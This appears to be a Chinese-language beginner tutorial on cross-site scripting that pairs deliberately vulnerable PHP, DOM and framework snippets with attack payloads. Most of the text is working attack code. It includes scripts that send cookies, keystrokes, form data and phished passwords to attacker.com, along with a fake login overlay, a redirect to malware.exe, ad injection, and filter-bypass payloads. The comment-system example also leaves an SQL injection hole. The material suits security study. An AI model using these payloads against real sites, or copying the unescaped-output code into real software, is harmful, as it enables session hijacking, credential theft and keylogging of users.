XSS跨站脚本攻击完全入门

<!-- 存在漏洞的搜索功能 -->
<?php
  $search = $_GET['q'];  // 获取用户搜索关键词
  echo "您搜索的内容是：" . $search;  // 直接输出，未做任何过滤
?>

<!-- 正常用户搜索 "hello" -->
URL: http://example.com/search.php?q=hello
输出: 您搜索的内容是：hello

<!-- 攻击者构造恶意URL -->
URL: http://example.com/search.php?q=<script>alert('XSS')</script>
输出: 您搜索的内容是：<script>alert('XSS')</script>
结果: 浏览器执行脚本，弹出警告框

<!-- 存在漏洞的代码 -->
<form action="search.php" method="GET">
    <input type="text" name="keyword" placeholder="搜索...">
    <button type="submit">搜索</button>
</form>

<?php
if(isset($_GET['keyword'])) {
    echo "<h2>搜索结果：" . $_GET['keyword'] . "</h2>";
}
?>

// 攻击者输入以下内容：
<script>
    // 窃取Cookie
    var img = new Image();
    img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

// 或者更隐蔽的方式：
<img src=x onerror="fetch('http://attacker.com/log?c='+document.cookie)">

<!-- 存在漏洞的评论系统 -->
<?php
// 保存评论（未过滤）
if(isset($_POST['comment'])) {
    $comment = $_POST['comment'];
    $db->query("INSERT INTO comments (content) VALUES ('$comment')");
}

// 显示评论（未转义）
$result = $db->query("SELECT * FROM comments");
while($row = $result->fetch_assoc()) {
    echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>

// 攻击者发表以下评论：
<script>
// 键盘记录器
document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log', {
        method: 'POST',
        body: 'key=' + e.key
    });
});
</script>

// 所有查看该评论的用户都会被植入键盘记录器

<!-- 存在漏洞的JavaScript代码 -->
<script>
// 从URL获取参数并显示
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = "欢迎, " + name;
</script>

<!-- 攻击URL -->
http://example.com/index.html?name=<img src=x onerror=alert(document.cookie)>

// Cookie窃取脚本
(function() {
    var cookies = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/steal.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('cookie=' + encodeURIComponent(cookies) + 
             '&url=' + encodeURIComponent(window.location.href));
})();

// 键盘记录脚本
document.addEventListener('keypress', function(event) {
    fetch('http://attacker.com/keylog.php', {
        method: 'POST',
        body: JSON.stringify({
            key: event.key,
            time: new Date().toISOString(),
            url: window.location.href
        })
    });
});

// 表单劫持
document.querySelectorAll('form').forEach(function(form) {
    form.addEventListener('submit', function(e) {
        var formData = new FormData(form);
        fetch('http://attacker.com/formdata.php', {
            method: 'POST',
            body: formData
        });
    });
});

// 插入假登录框
document.body.innerHTML = `
<div style="
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: white;
    padding: 30px;
    box-shadow: 0 0 20px rgba(0,0,0,0.5);
    z-index: 9999;
">
    <h2>会话已过期，请重新登录</h2>
    <form id="phishForm">
        <input type="text" name="username" placeholder="用户名" required><br>
        <input type="password" name="password" placeholder="密码" required><br>
        <button type="submit">登录</button>
    </form>
</div>
`;

document.getElementById('phishForm').addEventListener('submit', function(e) {
    e.preventDefault();
    // 发送到攻击者服务器
    fetch('http://attacker.com/phish.php', {
        method: 'POST',
        body: new FormData(this)
    }).then(() => {
        // 然后重定向到真实登录页面
        window.location.href = '/login.php';
    });
});

// 恶意重定向
window.location.href = 'http://malicious-site.com/malware.exe';

// 注入广告
var ad = document.createElement('iframe');
ad.src = 'http://ad-network.com/popup';
ad.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999';
document.body.appendChild(ad);

// React中的危险用法
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Vue中的危险用法
<div v-html="userInput"></div>

// Angular中的危险用法
<div [innerHTML]="userInput"></div>

// 大小写变换
<ScRiPt>alert('XSS')</sCrIpT>

// 编码绕过
<img src=x onerror="alert('XSS')">

// 双写绕过（如果过滤器只删除一次script）
<scr<script>ipt>alert('XSS')</scr</script>ipt>

// 事件处理器
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>

// JavaScript伪协议
<a href="javascript:alert('XSS')">点击</a>
<iframe src="javascript:alert('XSS')"></iframe>